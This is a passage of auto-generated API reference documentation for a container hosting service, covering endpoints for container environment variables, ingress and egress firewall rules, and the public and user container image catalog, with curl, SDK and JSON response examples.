  "message": "Environment variables retrieved",
  "data": {
    "environment_vars": {
      "DATABASE_URL": "postgres://app_user:s3cret@db.internal:5432/production",
      "NODE_ENV": "production",
      "LOG_LEVEL": "info",
      "REDIS_HOST": "cache.internal"
    }
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



### SDK usage

```ts
const { data } = await client.api.env.list({
  id: "cnt_abc123def456"
});
```

## `PATCH /api/v1/containers/{id}/env`

Merge environment variables into the container. Existing keys are updated, new keys are added. Keys not present in the body are left unchanged (merge semantics). Changes take effect upon the next container restart.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request body

The body is a JSON object of environment variable key-value pairs. Keys must match the pattern `^[a-zA-Z_][a-zA-Z0-9_]*$` and must not start with the reserved `HOODY_` prefix. Each value is a string with a maximum length of 65,536 characters. The object must contain between 1 and 200 properties.

```json
{
  "DATABASE_URL": "postgres://app_user:s3cret@db.internal:5432/production",
  "LOG_LEVEL": "info",
  "REDIS_HOST": "cache.internal"
}
```

### Response



```json
{
  "statusCode": 200,
  "message": "Environment variables updated",
  "data": {
    "environment_vars": {
      "DATABASE_URL": "postgres://app_user:s3cret@db.internal:5432/production",
      "LOG_LEVEL": "info",
      "REDIS_HOST": "cache.internal"
    },
    "synced": true
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ENV_KEY` | Invalid Environment Variable Key | The environment variable key is invalid. Keys must start with a letter or underscore, contain only alphanumeric characters and underscores, and must not start with the reserved HOODY_ prefix. | Use a key that matches `[a-zA-Z_][a-zA-Z0-9_]*` and does not start with HOODY_. |
| `RESERVED_ENV_PREFIX` | Reserved Environment Variable Prefix | Environment variable keys starting with HOODY_ are reserved for system use and cannot be set or deleted by users. | Use a different key name that does not start with HOODY_. |
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



### SDK usage

```ts
const { data } = await client.api.env.bulkSet({
  id: "cnt_abc123def456",
  data: {
    DATABASE_URL: "postgres://app_user:s3cret@db.internal:5432/production",
    LOG_LEVEL: "info"
  }
});
```

## `PATCH /api/v1/containers/{id}/env/{key}`

Set or update a single environment variable on the container. Changes take effect upon the next container restart.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `key` | path | string | Yes | Environment variable key |

### Request body

| Field | Type | Required | Description |
|-------|------|----------|-------------|
| `value` | string | Yes | Value for the environment variable (max 65,536 characters) |

### Response



```json
{
  "statusCode": 200,
  "message": "Environment variable updated",
  "data": {
    "environment_vars": {
      "LOG_LEVEL": "debug"
    },
    "synced": false
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `VALIDATION_ERROR` | Invalid input parameters | One or more request parameters failed validation | Check the error message for specific field requirements and correct your input |
| `INVALID_ENV_KEY` | Invalid Environment Variable Key | The environment variable key is invalid. Keys must start with a letter or underscore, contain only alphanumeric characters and underscores, and must not start with the reserved HOODY_ prefix. | Use a key that matches `[a-zA-Z_][a-zA-Z0-9_]*` and does not start with HOODY_. |
| `RESERVED_ENV_PREFIX` | Reserved Environment Variable Prefix | Environment variable keys starting with HOODY_ are reserved for system use and cannot be set or deleted by users. | Use a different key name that does not start with HOODY_. |
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



### SDK usage

```ts
const { data } = await client.api.env.set({
  id: "cnt_abc123def456",
  key: "LOG_LEVEL",
  data: { value: "debug" }
});
```

## `DELETE /api/v1/containers/{id}/env/{key}`

Remove a single environment variable from the container. Idempotent — returns 200 whether the key existed or not. Changes take effect upon the next container restart.

### Parameters

| Name | In | Type | Required | Description |
|------|----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |
| `key` | path | string | Yes | Environment variable key |

### Response



```json
{
  "statusCode": 200,
  "message": "Environment variable deleted",
  "data": {
    "environment_vars": {
      "DATABASE_URL": "postgres://app_user:s3cret@db.internal:5432/production",
      "REDIS_HOST": "cache.internal"
    },
    "synced": true
  }
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `RESERVED_ENV_PREFIX` | Reserved Environment Variable Prefix | Environment variable keys starting with HOODY_ are reserved for system use and cannot be set or deleted by users. | Use a different key name that does not start with HOODY_. |
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `RESOURCE_ACCESS_DENIED` | Resource access denied | You do not have permission to access this specific resource | Ensure you own this resource or have been granted access by the owner |
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



### SDK usage

```ts
const { data } = await client.api.env.delete({
  id: "cnt_abc123def456",
  key: "LOG_LEVEL"
});
```

---

# Container Firewall

**Page:** api/container-firewall

[Download Raw Markdown](./api/container-firewall.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Container Firewall

The Container Firewall API controls ingress (inbound) and egress (outbound) network traffic for a container. Use these endpoints to list, add, toggle, remove, and reset firewall rules. Each container has independent rule sets for inbound and outbound traffic, and rules default to `state: "enabled"` when created.


Firewall rules are identified by their matching fields (protocol, ports, source/destination). To uniquely target a rule, provide enough filter fields in the request body to match a single rule.


### Firewall rule fields

Rules share a common shape across all endpoints:

| Field | Type | Description |
|-------|------|-------------|
| `action` | string | One of `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | One of `"tcp"`, `"udp"`, or `"icmp4"` |
| `description` | string | Human-readable rule description |
| `destination_port` | string | Port number, range (`80-90`), or comma-separated list (`80,443`). Required for TCP/UDP. |
| `source` | string | Source IPv4 address or CIDR range (ingress only) |
| `destination` | string | Destination IPv4 address or CIDR range (egress only) |
| `source_port` | string | Source port filter (rarely used) |
| `state` | string | `"enabled"` or `"disabled"`. Defaults to `"enabled"`. |
| `icmp_type` | string | ICMP type number (icmp4 protocol only) |
| `icmp_code` | string | ICMP code number (icmp4 protocol only) |

---

## List firewall rules

### `GET /api/v1/containers/{id}/firewall/rules`

Get all ingress and egress firewall rules for a container.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### SDK Usage

```typescript
const { data } = await client.api.firewall.listIterator({
  id: "c_abc123def456"
});
```

### cURL

```bash
curl -X GET "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/rules" \
  -H "Authorization: Bearer <token>"
```

### Response



```json
{
  "statusCode": 200,
  "message": "Firewall rules retrieved successfully",
  "data": {
    "ingress": [
      {
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow HTTPS traffic",
        "destination_port": "443",
        "source": "0.0.0.0/0",
        "state": "enabled"
      },
      {
        "action": "allow",
        "protocol": "icmp4",
        "description": "Allow ping from any source",
        "source": "0.0.0.0/0",
        "state": "enabled",
        "icmp_type": "8",
        "icmp_code": "0"
      }
    ],
    "egress": [
      {
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow outbound HTTPS",
        "destination_port": "443",
        "destination": "0.0.0.0/0",
        "state": "enabled"
      },
      {
        "action": "drop",
        "protocol": "tcp",
        "description": "Block outbound SMTP",
        "destination_port": "25",
        "destination": "0.0.0.0/0",
        "state": "enabled"
      }
    ]
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication token required"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `MISSING_TOKEN` | Authentication token missing | No authentication token was provided in the request | Include a valid JWT token in the Authorization header as `Bearer &lt;token&gt;` |
| `INVALID_TOKEN` | Invalid authentication token | The provided authentication token is malformed or invalid | Obtain a new token by logging in again or using a valid auth token |


```json
{
  "statusCode": 403,
  "error": "Forbidden",
  "message": "Insufficient permissions"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `INSUFFICIENT_PERMISSIONS` | Insufficient permissions | You do not have the required permissions to perform this action | Contact the resource owner or administrator to request access |


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

| Error Code | Title | Description | Resolution |
|------------|-------|-------------|------------|
| `CONTAINER_NOT_FOUND` | Container not found | The requested container does not exist or you do not have permission to access it. | Verify the container ID is correct and that you have access to the project it belongs to. |



---

## Add firewall rules

The `addEgressRule` and `addIngressRule` endpoints append a single rule to the specified direction. If an equivalent rule already exists, the API returns `200` with a `duplicate` flag in the data; otherwise it returns `201`.

### `POST /api/v1/containers/{id}/firewall/ingress`

Add a new ingress (inbound) firewall rule to a container. Use this endpoint to control which traffic can reach your container. All rules default to `state: "enabled"` if not specified.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `action` | string | Yes | One of `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | Yes | One of `"tcp"`, `"udp"`, or `"icmp4"` |
| `description` | string | Yes | Human-readable rule description |
| `destination_port` | string | No | Port number, range (`80-90`), or comma-separated list (`80,443`). Required for TCP/UDP. |
| `source` | string | No | Source IPv4 address or CIDR range. Use `0.0.0.0/0` for any source. |
| `source_port` | string | No | Source port filter (rarely used) |
| `state` | string | No | `"enabled"` or `"disabled"`. Defaults to `"enabled"`. |
| `icmp_type` | string | No | ICMP type number (e.g., `8` for echo request/ping) |
| `icmp_code` | string | No | ICMP code number |

### SDK Usage

```typescript
await client.api.firewall.addIngressRule({
  id: "c_abc123def456",
  data: {
    action: "allow",
    protocol: "tcp",
    description: "Allow HTTPS",
    destination_port: "443",
    source: "0.0.0.0/0"
  }
});
```

### cURL

```bash
curl -X POST "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/ingress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "allow",
    "protocol": "tcp",
    "description": "Allow HTTPS",
    "destination_port": "443",
    "source": "0.0.0.0/0"
  }'
```

### Response



```json
{
  "statusCode": 201,
  "message": "Ingress rule added successfully",
  "data": {}
}
```


Returned when an equivalent rule already exists.

```json
{
  "statusCode": 200,
  "message": "Rule already exists",
  "data": {}
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request body"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```



---

### `POST /api/v1/containers/{id}/firewall/egress`

Add a new egress (outbound) firewall rule to a container. Use this endpoint to control which traffic your container can send. All rules default to `state: "enabled"` if not specified.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `action` | string | Yes | One of `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | Yes | One of `"tcp"`, `"udp"`, or `"icmp4"` |
| `description` | string | Yes | Human-readable rule description |
| `destination_port` | string | No | Port number, range (`80-90`), or comma-separated list (`80,443`). Required for TCP/UDP. |
| `destination` | string | No | Destination IPv4 address or CIDR range. Use `0.0.0.0/0` for any destination. |
| `source_port` | string | No | Source port filter (rarely used) |
| `state` | string | No | `"enabled"` or `"disabled"`. Defaults to `"enabled"`. |
| `icmp_type` | string | No | ICMP type number |
| `icmp_code` | string | No | ICMP code number |

### SDK Usage

```typescript
await client.api.firewall.addEgressRule({
  id: "c_abc123def456",
  data: {
    action: "allow",
    protocol: "tcp",
    description: "Allow outbound HTTPS",
    destination_port: "443",
    destination: "0.0.0.0/0"
  }
});
```

### cURL

```bash
curl -X POST "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/egress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "action": "allow",
    "protocol": "tcp",
    "description": "Allow outbound HTTPS",
    "destination_port": "443",
    "destination": "0.0.0.0/0"
  }'
```

### Response



```json
{
  "statusCode": 201,
  "message": "Egress rule added successfully",
  "data": {}
}
```


Returned when an equivalent rule already exists.

```json
{
  "statusCode": 200,
  "message": "Rule already exists",
  "data": {}
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Invalid request body"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```



---

## Toggle firewall rules

The `toggleIngressRule` and `toggleEgressRule` endpoints change the `state` of an existing rule without deleting it. The body identifies the rule by matching fields and supplies the new `state`.

### `PATCH /api/v1/containers/{id}/firewall/ingress`

Enable or disable an ingress (inbound) firewall rule without deleting it. Provide filters to identify which rule to toggle. Useful for temporarily disabling rules.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `state` | string | Yes | New state: `"enabled"` or `"disabled"` |
| `action` | string | No | Filter by action: `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | No | Filter by protocol: `"tcp"`, `"udp"`, or `"icmp4"` |
| `destination_port` | string | No | Filter by destination port, range, or list |
| `source_port` | string | No | Filter by source port |
| `source` | string | No | Filter by source IPv4/CIDR |
| `description` | string | No | Filter by rule description |
| `icmp_type` | string | No | Filter by ICMP type number |
| `icmp_code` | string | No | Filter by ICMP code number |

### SDK Usage

```typescript
await client.api.firewall.toggleIngressRule({
  id: "c_abc123def456",
  data: {
    state: "disabled",
    protocol: "tcp",
    destination_port: "443"
  }
});
```

### cURL

```bash
curl -X PATCH "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/ingress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "state": "disabled",
    "protocol": "tcp",
    "destination_port": "443"
  }'
```

### Response



```json
{
  "statusCode": 200,
  "message": "Ingress rule state toggled successfully",
  "data": {
    "direction": "ingress",
    "new_state": "disabled",
    "updated": {
      "action": "allow",
      "protocol": "tcp",
      "description": "Allow HTTPS traffic",
      "destination_port": "443",
      "source": "0.0.0.0/0",
      "state": "disabled"
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Matching ingress rule not found"
}
```



---

### `PATCH /api/v1/containers/{id}/firewall/egress`

Enable or disable an egress (outbound) firewall rule without deleting it. Provide filters to identify which rule to toggle. Useful for temporarily disabling rules.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `state` | string | Yes | New state: `"enabled"` or `"disabled"` |
| `action` | string | No | Filter by action: `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | No | Filter by protocol: `"tcp"`, `"udp"`, or `"icmp4"` |
| `destination_port` | string | No | Filter by destination port, range, or list |
| `source_port` | string | No | Filter by source port |
| `destination` | string | No | Filter by destination IPv4/CIDR |
| `description` | string | No | Filter by rule description |
| `icmp_type` | string | No | Filter by ICMP type number |
| `icmp_code` | string | No | Filter by ICMP code number |

### SDK Usage

```typescript
await client.api.firewall.toggleEgressRule({
  id: "c_abc123def456",
  data: {
    state: "disabled",
    protocol: "tcp",
    destination_port: "25"
  }
});
```

### cURL

```bash
curl -X PATCH "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/egress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "state": "disabled",
    "protocol": "tcp",
    "destination_port": "25"
  }'
```

### Response



```json
{
  "statusCode": 200,
  "message": "Egress rule state toggled successfully",
  "data": {
    "direction": "egress",
    "new_state": "enabled",
    "updated": {
      "action": "allow",
      "protocol": "tcp",
      "description": "Allow outbound HTTPS",
      "destination_port": "443",
      "destination": "0.0.0.0/0",
      "state": "enabled"
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Matching egress rule not found"
}
```



---

## Remove firewall rules

The `removeIngressRule` and `removeEgressRule` endpoints delete one or more rules. By default, only the first matching rule is removed; pass `all: true` to remove every rule that matches the supplied filters, or pass `all: true` alone to remove all rules in that direction.


Removing rules is not equivalent to resetting the firewall. `remove*` deletes rules but leaves the firewall/ACL attached to the container. Use the `reset` endpoint to detach the firewall entirely.


### `DELETE /api/v1/containers/{id}/firewall/ingress`

Remove one or more ingress (inbound) firewall rules. Provide filters to match specific rules, or use `all: true` to remove all ingress rules. Not equivalent to reset - this only deletes rules and leaves the firewall/ACL attached.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `all` | boolean | No | Remove all matching rules (default: first match only). Set to `true` with no other filters to remove all ingress rules. |
| `action` | string | No | Filter by action: `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | No | Filter by protocol: `"tcp"`, `"udp"`, or `"icmp4"` |
| `destination_port` | string | No | Filter by destination port, range, or list |
| `source` | string | No | Filter by source IPv4/CIDR |
| `source_port` | string | No | Filter by source port |
| `description` | string | No | Filter by rule description |
| `state` | string | No | Filter by state. Defaults to `"enabled"`. |
| `icmp_type` | string | No | Filter by ICMP type number |
| `icmp_code` | string | No | Filter by ICMP code number |

### SDK Usage

```typescript
// Remove a specific rule
await client.api.firewall.removeIngressRule({
  id: "c_abc123def456",
  data: {
    protocol: "tcp",
    destination_port: "22",
    source: "192.168.1.0/24"
  }
});

// Remove all ingress rules
await client.api.firewall.removeIngressRule({
  id: "c_abc123def456",
  data: { all: true }
});
```

### cURL

```bash
curl -X DELETE "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/ingress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "protocol": "tcp",
    "destination_port": "22",
    "source": "192.168.1.0/24"
  }'
```

### Response



```json
{
  "statusCode": 200,
  "message": "Ingress rule removed successfully",
  "data": {
    "direction": "ingress",
    "removed_count": 1,
    "removed": [
      {
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow SSH from office",
        "destination_port": "22",
        "source": "192.168.1.0/24",
        "state": "enabled"
      }
    ]
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Matching ingress rule not found"
}
```



---

### `DELETE /api/v1/containers/{id}/firewall/egress`

Remove one or more egress (outbound) firewall rules. Provide filters to match specific rules, or use `all: true` to remove all egress rules. Not equivalent to reset - this only deletes rules and leaves the firewall/ACL attached.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### Request Body

| Name | Type | Required | Description |
|------|------|----------|-------------|
| `all` | boolean | No | Remove all matching rules (default: first match only). Set to `true` with no other filters to remove all egress rules. |
| `action` | string | No | Filter by action: `"allow"`, `"reject"`, or `"drop"` |
| `protocol` | string | No | Filter by protocol: `"tcp"`, `"udp"`, or `"icmp4"` |
| `destination_port` | string | No | Filter by destination port, range, or list |
| `destination` | string | No | Filter by destination IPv4/CIDR |
| `source_port` | string | No | Filter by source port |
| `description` | string | No | Filter by rule description |
| `state` | string | No | Filter by state. Defaults to `"enabled"`. |
| `icmp_type` | string | No | Filter by ICMP type number |
| `icmp_code` | string | No | Filter by ICMP code number |

### SDK Usage

```typescript
// Remove a specific rule
await client.api.firewall.removeEgressRule({
  id: "c_abc123def456",
  data: {
    protocol: "tcp",
    destination_port: "25"
  }
});

// Remove all egress rules
await client.api.firewall.removeEgressRule({
  id: "c_abc123def456",
  data: { all: true }
});
```

### cURL

```bash
curl -X DELETE "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/egress" \
  -H "Authorization: Bearer <token>" \
  -H "Content-Type: application/json" \
  -d '{
    "protocol": "tcp",
    "destination_port": "25"
  }'
```

### Response



```json
{
  "statusCode": 200,
  "message": "Egress rules removed successfully",
  "data": {
    "direction": "egress",
    "removed_count": 2,
    "removed": [
      {
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow outbound HTTPS",
        "destination_port": "443",
        "destination": "0.0.0.0/0",
        "state": "enabled"
      },
      {
        "action": "allow",
        "protocol": "tcp",
        "description": "Allow outbound DNS",
        "destination_port": "53",
        "destination": "8.8.8.8",
        "state": "enabled"
      }
    ]
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Matching egress rule not found"
}
```



---

## Reset firewall

### `POST /api/v1/containers/{id}/firewall/reset`

Delete the ACL and detach the container from the firewall bridge, returning the container to an open network state. Use this when you want to fully disable the firewall rather than remove individual rules.

### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Container ID |

### SDK Usage

```typescript
await client.api.firewall.reset({
  id: "c_abc123def456"
});
```

### cURL

```bash
curl -X POST "https://api.hoody.com/api/v1/containers/c_abc123def456/firewall/reset" \
  -H "Authorization: Bearer <token>"
```

### Response



```json
{
  "statusCode": 200,
  "message": "Firewall reset successfully",
  "data": {
    "rules": {
      "ingress": [],
      "egress": []
    }
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Container not found"
}
```

---

# Container Images

**Page:** api/container-images

[Download Raw Markdown](./api/container-images.md)

---

{/* AUTO-GENERATED — Do not edit manually. Regenerate with: npm run docs:api:generate */}



## Container Images

The Container Images API provides endpoints for browsing the public image catalog, managing images that have been imported or purchased by the authenticated user, and performing image-level actions such as importing, purchasing, and rating. Use these endpoints to discover base images for container deployments, retrieve icon assets, and interact with image metadata.

---

## Public Images

### `GET /api/v1/images/public`

List public container images with optional filtering by operating system, architecture, price range, rating range, and free-text search. Results are paginated and can be sorted.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `os` | query | string | No | Filter images by operating system - e.g., ubuntu, debian, alpine, centos |
| `architecture` | query | string | No | Filter images by CPU architecture - e.g., amd64, arm64, armhf |
| `min_price` | query | number | No | Minimum price filter for paid images - 0 includes free images |
| `max_price` | query | number | No | Maximum price filter for paid images - useful for budget constraints |
| `min_rating` | query | number | No | Minimum average rating filter - filters images with rating &ge; this value (0-5 stars) |
| `max_rating` | query | number | No | Maximum average rating filter - filters images with rating &le; this value (0-5 stars) |
| `search` | query | string | No | Search term to filter images by name, description, or tags |
| `page` | query | integer | No | Page number for pagination - starts from 1. Default: `1` |
| `limit` | query | integer | No | Number of images to return per page - maximum 100 items. Default: `20` |
| `sort_by` | query | string | No | Field to sort images by. Allowed values: `alias`, `added_date`, `price`, `rating` |
| `sort_order` | query | string | No | Sort direction. Allowed values: `asc`, `desc` |



```bash
curl -X GET "https://api.hoody.com/api/v1/images/public?os=ubuntu&architecture=amd64&min_price=0&max_price=10&page=1&limit=20&sort_by=added_date&sort_order=desc" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.images.listPublicIterator({
  os: "ubuntu",
  architecture: "amd64",
  min_price: 0,
  max_price: 10,
  page: 1,
  limit: 20,
  sort_by: "added_date",
  sort_order: "desc"
});
```


```json
{
  "statusCode": 200,
  "message": "Public images retrieved successfully",
  "data": {
    "images": [
      {
        "id": "507f1f77bcf86cd799439021",
        "alias": "ubuntu/22.04",
        "description": "Ubuntu 22.04 LTS (Jammy Jellyfish)",
        "image_name": "ubuntu-22.04-amd64",
        "architecture": "amd64",
        "os": "ubuntu",
        "release": "22.04",
        "variant": "default",
        "size": 512000000,
        "price": 0,
        "added_date": "2025-01-10T08:00:00.000Z",
        "average_rating": 4.5,
        "rating_count": 142,
        "icon_url": "/api/v1/images/507f1f77bcf86cd799439021/icon",
        "prespawn": true
      }
    ],
    "pagination": {
      "total": 87,
      "page": 1,
      "limit": 20,
      "totalPages": 5
    }
  }
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to retrieve public images"
}
```



---

### `GET /api/v1/images/public/{id}`

Get details of a specific public container image, including its full metadata, pricing, and rating statistics.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the public container image to retrieve details for |



```bash
curl -X GET "https://api.hoody.com/api/v1/images/public/507f1f77bcf86cd799439021" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.images.getDetails({
  id: "507f1f77bcf86cd799439021"
});
```


```json
{
  "statusCode": 200,
  "message": "Public image details retrieved successfully",
  "data": {
    "id": "507f1f77bcf86cd799439021",
    "alias": "ubuntu/22.04",
    "description": "Ubuntu 22.04 LTS (Jammy Jellyfish)",
    "image_name": "ubuntu-22.04-amd64",
    "architecture": "amd64",
    "os": "ubuntu",
    "release": "22.04",
    "serial": "20250110",
    "variant": "default",
    "size": 512000000,
    "price": 0,
    "added_date": "2025-01-10T08:00:00.000Z",
    "average_rating": 4.5,
    "rating_count": 142,
    "icon_url": "/api/v1/images/507f1f77bcf86cd799439021/icon",
    "prespawn": true
  }
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Public image not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to retrieve public image details"
}
```



---

### `GET /api/v1/images/{id}/icon`

Retrieve the PNG icon associated with a container image. The response body is a binary image.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the container image to retrieve icon for |



```bash
curl -X GET "https://api.hoody.com/api/v1/images/507f1f77bcf86cd799439021/icon" \
  -H "Authorization: Bearer <token>" \
  -o image-icon.png
```


```typescript
const icon = await client.api.images.getIcon({
  id: "507f1f77bcf86cd799439021"
});
```


The response body is a binary PNG image (Content-Type: `image/png`). The body contains the raw image bytes — there is no JSON payload to parse.

```
<binary PNG data>
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Image icon not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to retrieve image icon"
}
```



---

## User Images

### `GET /api/v1/images/user`

List container images that the authenticated user has imported or purchased. Results are paginated.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `page` | query | integer | No | Page number for pagination - starts from 1. Default: `1` |
| `limit` | query | integer | No | Number of images to return per page - maximum 100 items. Default: `20` |
| `sort_by` | query | string | No | Field to sort user images by - currently only supports creation date. Allowed values: `created_at` |
| `sort_order` | query | string | No | Sort direction. Allowed values: `asc`, `desc` |



```bash
curl -X GET "https://api.hoody.com/api/v1/images/user?page=1&limit=20&sort_by=created_at&sort_order=desc" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.images.listIterator({
  page: 1,
  limit: 20,
  sort_by: "created_at",
  sort_order: "desc"
});
```


```json
{
  "statusCode": 200,
  "message": "User images retrieved successfully",
  "data": {
    "images": [
      {
        "id": "507f1f77bcf86cd799439021",
        "alias": "ubuntu/22.04",
        "description": "Ubuntu 22.04 LTS (Jammy Jellyfish)",
        "image_name": "ubuntu-22.04-amd64",
        "architecture": "amd64",
        "os": "ubuntu",
        "release": "22.04",
        "variant": "default",
        "size": 512000000,
        "price": 0,
        "user_rating": 5,
        "has_rated": true,
        "average_rating": 4.5,
        "rating_count": 142,
        "icon_url": "/api/v1/images/507f1f77bcf86cd799439021/icon",
        "prespawn": true
      }
    ],
    "pagination": {
      "total": 12,
      "page": 1,
      "limit": 20,
      "totalPages": 1
    }
  }
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to retrieve user images"
}
```



---

## Image Actions

### `POST /api/v1/images/import/{id}`

Import a free public container image into the authenticated user's account so it can be used for deployments.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the public container image to import |



```bash
curl -X POST "https://api.hoody.com/api/v1/images/import/507f1f77bcf86cd799439021" \
  -H "Authorization: Bearer <token>"
```


```typescript
const result = await client.api.images.importFree({
  id: "507f1f77bcf86cd799439021"
});
```


```json
{
  "statusCode": 200,
  "message": "Free image imported successfully",
  "data": {}
}
```


```json
{
  "statusCode": 400,
  "error": "Bad Request",
  "message": "Image is not free or already imported"
}
```


```json
{
  "statusCode": 401,
  "error": "Unauthorized",
  "message": "Authentication required"
}
```


```json
{
  "statusCode": 404,
  "error": "Not Found",
  "message": "Image not found"
}
```


```json
{
  "statusCode": 500,
  "error": "Internal Server Error",
  "message": "Failed to import image"
}
```



---

### `POST /api/v1/images/purchase/{id}`

Purchase a paid container image. The cost is deducted from the authenticated user's account balance.

#### Parameters

| Name | In | Type | Required | Description |
|------|-----|------|----------|-------------|
| `id` | path | string | Yes | Unique identifier of the paid container image to purchase |



```bash
